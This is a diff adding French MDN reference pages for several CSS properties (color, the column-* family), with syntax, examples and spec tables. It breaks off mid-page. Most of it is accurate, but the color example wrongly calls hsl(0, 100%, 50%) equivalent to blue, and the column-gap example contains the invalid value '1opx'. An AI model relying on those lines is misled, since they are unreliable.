+title: color
+slug: Web/CSS/color
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/color
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>color</code></strong> définit la couleur de premier plan d'un élément texte et de ses éventuelles <a href="/fr/docs/Web/CSS/text-decoration">décorations</a>. Elle définit également la valeur de {{cssxref("currentColor")}} qui peut être utilisée pour d'autres propriétés (par exemple comme valeur par défaut pour {{cssxref("border-color")}}).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/color.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La valeur de cette propriété doit être une couleur uniforme. Celle-ci peut contenir des informations de transparences à partir de CSS3 mais ce ne doit pas être un dégradé ({{cssxref("&lt;gradient&gt;")}}) car en CSS un dégradé est considéré comme une image (type {{cssxref("&lt;image&gt;")}}) et pas comme une couleur.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+color: currentcolor;
+
+/* Valeurs avec un mot-clé pour une couleur nommée */
+color: red;
+color: orange;
+color: tan;
+color: rebeccapurple;
+
+/* Valeurs hexadécimales &lt;hex-color&gt; */
+color: #090;
+color: #009900;
+color: #090a;
+color: #009900aa;
+
+/* Valeurs utilisant la fonction &lt;rgb()&gt; */
+color: rgb(34, 12, 64, 0.6);
+color: rgba(34, 12, 64, 0.6);
+color: rgb(34 12 64 / 0.6);
+color: rgba(34 12 64 / 0.3);
+color: rgb(34.0 12 64 / 60%);
+color: rgba(34.6 12 64 / 30%);
+
+/* Valeurs &lt;hsl()&gt; */
+color: hsl(30, 100%, 50%, 0.6);
+color: hsla(30, 100%, 50%, 0.6);
+color: hsl(30 100% 50% / 0.6);
+color: hsla(30 100% 50% / 0.6);
+color: hsl(30.0 100% 50% / 60%);
+color: hsla(30.2 100% 50% / 60%);
+
+
+/* Valeurs globales */
+color: inherit;
+color: initial;
+color: unset;
+</pre>
+
+<p>La propriété <code>color</code> est définie grâce à une valeur de type {{cssxref("&lt;color&gt;")}}.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;color&gt;")}} qui fournit la couleur pour les éléments textuels de l'élément.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  color: rgb(0, 0, 255);
+  /* équivalent à
+  color: blue;
+  color: #0000ff;
+  color: #00f;
+  color: hsl(0, 100%, 50%); */
+}
+
+.confiture {
+  color: orange;
+  /* on pourrait aussi utiliser
+  color: rgb(255, 128, 0); */
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;
+  En passant elle prit sur un rayon un pot de
+  confiture portant cette étiquette,
+  &lt;span class="confiture"&gt;
+    « MARMELADE D’ORANGES. »
+  &lt;/span&gt;
+  Mais, à son grand regret, le pot était vide :
+  elle n’osait le laisser tomber dans la crainte
+  de tuer quelqu’un ; aussi s’arrangea-t-elle de
+  manière à le déposer en passant dans une
+  des armoires.
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Il est important de vérifier le contraste entre la couleur utilisée pour le texte et celle utilisée pour l'arrière-plan afin que les personnes ayant une vision faible ou lisant le document dans de mauvaises conditions puissent correctement lire le document.</p>
+
+<p>Le ratio de contraste est déterminé en comparant la luminosité de la couleur du texte et celle de la couleur d'arrière-plan. Afin de respecter <a href="https://www.w3.org/WAI/intro/wcag">les règles d'accessibilité (WCAG)</a>, on doit avoir un ratio de 4.5:1 pour les textes « normaux » et un ratio de 3:1 pour les textes plus grands comme les titres (un texte est considéré comme « grand » s'il est en gras et qu'une lettre mesure plus de 18.66 px ou bien si une lettre mesure plus de 24 pixels).</p>
+
+<ul>
+ <li><a href="https://webaim.org/resources/contrastchecker/">Contrôleur de contraste WebAIM</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG 1.4</a></li>
+ <li><em><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html">Understanding Success Criterion 1.4.3  | W3C Understanding WCAG 2.0 </a></em><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html">(en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Colors', '#the-color-property', 'color')}}</td>
+   <td>{{Spec2('CSS4 Colors')}}</td>
+   <td>Ajout de la syntaxe sans virgule pour les fonctions <code>rgb()</code>, <code>rgba()</code>, <code>hsl()</code> et <code>hsla()</code> Une valeur alpha peut être utilisée dans <code>rgb()</code> et <code>hsl()</code>, <code>rgba()</code> et <code>hsla()</code> sont donc des synonymes (dépréciés) de ces fonctions. Ajout de la couleur <code>rebeccapurple</code>.<br>
+    Ajout des valeurs hexadécimales sur 4 et 8 chiffres où le dernier chiffre indique la composante alpha.<br>
+    Ajout des fonctions <code>hwb()</code>, <code>device-cmyk()</code> et <code>color()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'color')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>color</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Colors', '#color', 'color')}}</td>
+   <td>{{Spec2('CSS3 Colors')}}</td>
+   <td>Dépréciation des couleurs système. Ajout des couleurs SVG. Ajout des fonctions <code>rgba()</code>, <code>hsl()</code> et <code>hsla()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#colors', 'color')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Ajout de la couleur <code>orange</code> et des couleurs système.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#color', 'color')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Le type de donnée {{cssxref("&lt;color&gt;")}}</li>
+ <li>Les autres propriétés relatives aux couleurs : {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, {{cssxref("column-rule-color")}} et {{cssxref("color-adjust")}}</li>
+ <li><a href="/fr/docs/Web/HTML/Applying_color">Appliquer des couleurs aux éléments HTML grâce à CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/column-count/index.html b/files/fr/web/css/column-count/index.html
new file mode 100644
index 0000000000..97e3a14f65
--- /dev/null
+++ b/files/fr/web/css/column-count/index.html
@@ -0,0 +1,106 @@
+---
+title: column-count
+slug: Web/CSS/column-count
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/column-count
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>column-count</code></strong> décrit le nombre de colonnes d'un élément lorsqu'on utilise une disposition en colonnes.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/column-count.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+column-count: auto;
+
+/* Valeurs numériques */
+/* Type &lt;number&gt; */
+column-count: 3;
+
+/* Valeurs globales */
+column-count: inherit;
+column-count: initial;
+column-count: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Un mot-clé qui indique que le nombre de colonnes doit être déterminé à partir d'autres propriétés CSS (par exemple à partir de {{cssxref("column-width")}}).</dd>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>Un nombre (type {{cssxref("&lt;integer&gt;")}}) strictement positif qui décrit le nombre idéal de colonnes avec lequel répartir le contenu de l'élément. Si la valeur de {{cssxref("column-width")}} n'est pas <code>auto</code>, cette propriété indique simplement le nombre maximal de colonnes autorisé.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">.exemple {
+  border: 10px solid #000000;
+  column-count:3;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;
+  « Mais alors, » pensa Alice, « ne serai-je donc
+  jamais plus vieille que je ne le suis maintenant ?
+  D’un côté cela aura ses avantages, ne jamais être
+  une vieille femme. Mais alors avoir toujours des
+  leçons à apprendre ! Oh, je n’aimerais pas cela du
+  tout. »
+  « Oh ! Alice, petite folle, » se répondit-elle.
+  « Comment pourriez-vous apprendre des leçons ici ?
+  Il y a à peine de la place pour vous, et il n’y en
+  a pas du tout pour vos livres de leçons. »
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","800","300")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol', '#cc', 'column-count')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.column-count")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Apprendre - la disposition multi-colonnes</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Columns/Basic_Concepts_of_Multicol">Les concepts de bases pour la disposition multi-colonnes</a></li>
+</ul>
diff --git a/files/fr/web/css/column-fill/index.html b/files/fr/web/css/column-fill/index.html
new file mode 100644
index 0000000000..a2a64b6849
--- /dev/null
+++ b/files/fr/web/css/column-fill/index.html
@@ -0,0 +1,102 @@
+---
+title: column-fill
+slug: Web/CSS/column-fill
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/column-fill
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>column-fill</code></strong> permet de contrôler la façon dont le contenu est réparti entre les colonnes. Le contenu peut être équilibré (afin de prendre la même hauteur sur toutes les colonnes) ou être réparti de façon automatique (avec <code>auto</code>) et remplir l'espace nécessaire.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/column-fill.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+column-fill: auto;
+column-fill: balance;
+column-fill: balance-all;
+
+/* Valeurs globales */
+column-fill: inherit;
+column-fill: initial;
+column-fill: unset;
+</pre>
+
+<p>Cette propriété est définie grâce à l'un des mots-clés définis ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Un mot-clé indiquant que les colonnes sont remplies dans l'ordre.</dd>
+ <dt><code>balance</code></dt>
+ <dd>Un mot-clé indiquant que le contenu doit être équitablement réparti entre les colonnes. Pour les médias paginés, seule la dernière page est équilibrée.</dd>
+ <dt><code>balance-all</code></dt>
+ <dd>Un mot-clé indiquant que le contenu doit être équitablement réparti entre les colonnes. Pour les média paginés, toutes les pages sont équilibrées.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">.exemple {
+  border: 10px solid #000000;
+  column-count:3;
+  column-fill: balance;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;
+  « Mais alors, » pensa Alice, « ne serai-je donc
+  jamais plus vieille que je ne le suis maintenant ?
+  D’un côté cela aura ses avantages, ne jamais être
+  une vieille femme. Mais alors avoir toujours des
+  leçons à apprendre ! Oh, je n’aimerais pas cela du
+  tout. »
+  « Oh ! Alice, petite folle, » se répondit-elle.
+  « Comment pourriez-vous apprendre des leçons ici ?
+  Il y a à peine de la place pour vous, et il n’y en
+  a pas du tout pour vos livres de leçons. »
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","800","300")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol', '#cf', 'column-fill')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.column-fill")}}</p>
diff --git a/files/fr/web/css/column-gap/index.html b/files/fr/web/css/column-gap/index.html
new file mode 100644
index 0000000000..99ac3c185c
--- /dev/null
+++ b/files/fr/web/css/column-gap/index.html
@@ -0,0 +1,206 @@
+---
+title: column-gap
+slug: Web/CSS/column-gap
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/column-gap
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>column-gap</code></strong> permet de définir l'espace entre les colonnes d'un élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/column-gap.html")}}</div>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-column-gap.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La propriété <code>column-gap</code> était initialement définie dans le module de spécification <a href="/fr/docs/Web/CSS/Colonnes_CSS"><em>Multi-column Layout</em> (disposition en colonnes)</a>. Cette définition a depuis été élargie afin de pouvoir être utilisée dans les différents modes de disposition et fait désormais partie du module de spécification <em><a href="/fr/docs/Web/CSS/CSS_Box_Alignment">Box Alignment</a></em>. Cette propriété peut être utilisée pour les dispositions en colonnes, les dispositions flexibles ou les disposition en grille.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Le module de spécification <em><a href="/fr/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></em> définissait initialement la propriété <code>grid-column-gap</code>. Cette version préfixée a été remplacée par <code>column-gap</code>. Toutefois, à des fins de compatibilité envers les navigateurs qui ne prendraient pas en charge cette évolution, mieux vaut utiliser les deux versions (voir l'exemple interactif ci-avant).</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* Valeur avec un mot-clé */
+column-gap: normal;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+column-gap: 3px;
+column-gap: 2.5em;
+
+/* Valeurs de pourcentage */
+/* Type &lt;percentage&gt; */
+column-gap: 3%;
+
+/* Valeurs globales */
+column-gap: inherit;
+column-gap: initial;
+column-gap: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Un mot-clé qui indique qu'on souhaite utiliser l'espacement par défaut créé par le navigateur. Pour les dispositions en colonnes, cette valeur correspond à <code>1em</code>, sinon elle correspond à <code>0</code>.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une valeur de longueur (type {{cssxref("&lt;length&gt;")}}) qui définit la taille de l'espace entre les colonnes. Cette valeur peut être nulle mais ne doit pas être négative.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur de pourcentage (type {{cssxref("&lt;percentage&gt;")}} qui définit la taille de l'espace entre les colonnes. Cette valeur peut être nulle mais ne doit pas être négative.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Disposition_flexible">Disposition flexible</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div id="flexbox"&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">#flexbox {
+  display: flex;
+  height: 100px;
+  column-gap: 20px;
+}
+
+#flexbox &gt; div {
+  border: 1opx solid green;
+  background-color: lime;
+  flex: auto;
+}</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Disposition_flexible","auto","120px")}}</p>
+
+<h3 id="Disposition_en_colonnes">Disposition en colonnes</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p class="content-box"&gt;
+  Un texte sur plusieurs colonnes avec une gouttière
+  de 40px paramétrée grâce à la propriété `column-gap`.
+  C'est plutôt pas mal comme effet non ?
+&lt;/p&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush:css">.content-box {
+  column-count: 3;
+  column-gap: 40px;
+}
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Disposition_en_colonnes", "auto", "120px")}}</p>
+
+<h3 id="Disposition_en_grille">Disposition en grille</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css; highlight[6]">#grid {
+  display: grid;
+  height: 100px;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: 100px;
+  column-gap: 20px;
+}
+
+#grid &gt; div {
+  background-color: lime;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">#grid {
+  grid-column-gap: 20px;
+}</pre>
+</div>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("Disposition_en_grille", "auto", "120px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box Alignment", "#column-row-gap", "column-gap")}}</td>
+   <td>{{Spec2("CSS3 Box Alignment")}}</td>
+   <td>Applique cette propriété aux grilles et aux boîtes flexibles (<em>flexbox</em>).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#gutters", "column-gap")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Définition de l'impact de cette propriété sur les dispositions en grille.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Multicol", "#column-gap", "column-gap")}}</td>
+   <td>{{Spec2("CSS3 Multicol")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<h3 id="Prise_en_charge_pour_les_dispositions_flexibles">Prise en charge pour les dispositions flexibles</h3>
+
+<p>{{Compat("css.properties.column-gap.flex_context")}}</p>
+
+<h3 id="Prise_en_charge_pour_les_dispositions_en_grille">Prise en charge pour les dispositions en grille</h3>
+
+<p>{{Compat("css.properties.column-gap.grid_context")}}</p>
+
+<h3 id="Prise_en_charge_pour_les_dispositions_en_colonnes">Prise en charge pour les dispositions en colonnes</h3>
+
+<p>{{Compat("css.properties.column-gap.multicol_context")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("row-gap")}}</li>
+ <li>{{cssxref("gap")}}</li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">Concepts de base des flexbox</a></em></li>
+ <li>Guide sur les grilles : <em><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_concepts_de_base#Les_gouttières">Concepts de base des grilles : les gouttières</a></em></li>
+ <li>Guide sur la disposition multi-colonnes : <em><a href="/fr/docs/Web/CSS/CSS_Columns/Styling_Columns">Mettre en forme les colonnes</a></em></li>
+</ul>
diff --git a/files/fr/web/css/column-rule-color/index.html b/files/fr/web/css/column-rule-color/index.html
new file mode 100644
index 0000000000..e49ae2b9e4
--- /dev/null
+++ b/files/fr/web/css/column-rule-color/index.html
@@ -0,0 +1,110 @@
+---
+title: column-rule-color
+slug: Web/CSS/column-rule-color
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/column-rule-color
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété<strong> <code>column-rule-color</code></strong> permet de définir la couleur de la ligne tracée entre les colonnes lorsqu'on utilise une disposition en colonnes.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/column-rule-color.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de couleur */
+/* Type &lt;color&gt; */
+column-rule-color: red;
+column-rule-color: rgb(192, 56, 78);
+column-rule-color: transparent;
+column-rule-color: hsla(0, 100%, 50%, 0.6);
+
+/* Valeurs globales */
+column-rule-color: inherit;
+column-rule-color: initial;
+column-rule-color: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>Une valeur de couleur (type {{cssxref("&lt;color&gt;")}}) qui indique la couleur du trait entre les colonnes.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">.exemple {
+  border: 10px solid #000000;
+
+  columns:3;
+  column-rule-width: thick;
+  column-rule-color: blue;
+  column-rule-style: solid;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class=exemple&gt;
+  « Mais alors, » pensa Alice, « ne serai-je donc
+  jamais plus vieille que je ne le suis maintenant ?
+  D’un côté cela aura ses avantages, ne jamais être
+  une vieille femme. Mais alors avoir toujours des
+  leçons à apprendre ! Oh, je n’aimerais pas cela du
+  tout. »
+  « Oh ! Alice, petite folle, » se répondit-elle.
+  « Comment pourriez-vous apprendre des leçons ici ?
+  Il y a à peine de la place pour vous, et il n’y en
+  a pas du tout pour vos livres de leçons. »
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol', '#crc', 'column-rule-color')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.column-rule-color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Le type de donnée {{cssxref("&lt;color&gt;")}}</li>
+ <li>Les autres propriétés relatives aux couleurs : {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}} et {{cssxref("caret-color")}}</li>
+ <li><a href="/fr/docs/Web/HTML/Applying_color">Appliquer des couleurs aux éléments HTML grâce à CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/column-rule-style/index.html b/files/fr/web/css/column-rule-style/index.html
new file mode 100644
index 0000000000..64a2b08caa
--- /dev/null
+++ b/files/fr/web/css/column-rule-style/index.html
@@ -0,0 +1,109 @@
+---
+title: column-rule-style
+slug: Web/CSS/column-rule-style
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/column-rule-style
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>column-rule-style</code></strong> permet de définir le style de la ligne tracée entre plusieurs colonnes lorsqu'on utilise une disposition en colonnes.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/column-rule-style.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+column-rule-style: none;
+column-rule-style: hidden;
+column-rule-style: dotted;
+column-rule-style: dashed;
+column-rule-style: solid;
+column-rule-style: double;
+column-rule-style: groove;
+column-rule-style: ridge;
+column-rule-style: inset;
+column-rule-style: outset;
+
+/* Valeurs globales */
+column-rule-style: inherit;
+column-rule-style: initial;
+column-rule-style: unset;
+</pre>
+
+<p>La propriété <code>column-rule-style</code> avec une valeur unique de type <code>&lt;br-style&gt;</code>.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;br-style&gt; </code></dt>
